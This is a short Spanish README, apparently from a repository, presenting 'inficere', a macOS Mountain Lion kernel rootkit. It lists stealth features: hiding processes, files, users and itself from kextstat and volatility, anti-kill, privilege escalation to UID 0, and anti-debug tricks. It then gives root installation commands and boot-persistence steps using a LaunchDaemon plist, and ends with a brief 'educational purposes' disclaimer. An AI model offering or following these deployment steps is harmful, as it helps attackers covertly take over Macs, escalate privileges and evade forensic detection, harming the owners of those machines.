inficere

Versión pública de mi rootkit para Mac OS X construido sobre el onyx-the-black-cat de fractalG (https://github.com/gdbinit/onyx-the-black-cat)

Probado únicamente en Mountain Lion, 10.8.2 a 10.8.5. No se garantiza que funcione en otras versiones.

Características

• ocultación de procesos - se oculta de 'ps PID', 'ps aux', Monitor de Actividad, top, etc.
• ocultación de archivos/directorios
• ocultación de usuarios - oculta un usuario especificado de 'who', 'w'
• auto-ocultación - oculta el propio módulo de kextstat y volatility
• anti-kill
• PID a UID 0
• trucos anti-debug (en su mayoría por @osxreverser) - anti-anti-ptrace, parcheo de task_for_pid(0), etc.

Instrucciones

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

Para persistencia en el arranque:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

Inficere ocultará los archivos anteriores después de cargarse.

Me gustaría enfatizar que hice esto únicamente con fines educativos.